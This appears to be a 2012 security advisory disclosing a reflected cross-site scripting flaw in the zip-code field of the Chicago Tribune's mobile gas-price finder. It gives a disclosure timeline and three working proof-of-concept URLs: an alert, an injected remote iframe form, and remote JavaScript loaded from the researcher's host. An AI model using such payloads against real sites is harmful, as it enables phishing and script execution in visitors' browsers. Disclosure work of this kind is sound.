Title: Chicago Tribune reflected Cross Site Scripting vulnerability Vendor: Chicago Tribune (http://www.chicagotribune.com/) Description: mobile.chicagotribune.com suffers from a reflected Cross-site Scripting (XSS) vulnerability. Advisory time-line: ---------------------------------------------------------------------------------------------------- - Vendor notified: 13-Sep-2011, no response. - CERT-US notified: 19-Sep-2011, no response. - Packet Storm advisory: 14-Feb-2012 Test environment ---------------------------------------------------------------------------------------------------- - Latest Firefox browser - Various mobile browsers Details: ---------------------------------------------------------------------------------------------------- Affected functionality: Gas Prices finder, script: /s.p, method GET. Input field: Zip Code Test #1, simple alert http://mobile.chicagotribune.com/s.p?sId=54&m=b&zipCode=%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E+ Test #2, injecting a remote form using IFRAME http://mobile.chicagotribune.com/s.p?p=hl9qEY7IiS1s&m=b&zipCode=%3Ciframe+src%3Dhttp%3A%2F%2Fidash.net%2Faskeng.html+height%3Dp=hl9qEY7IiS1s&sId=54& Test 3, executing remote Javascript http://mobile.chicagotribune.com/s.p?sId=54&m=b&&m=b&zipCode=%3CSCRIPT%20SRC=http://idash.net/xs.js%3E%3C/SCRIPT%3E Note: the scripts and HTML-forms are not malicious. Researcher ---------------------------------------------------------------------------------------------------- Janne Ahlberg Project site with contact details: http://idash.net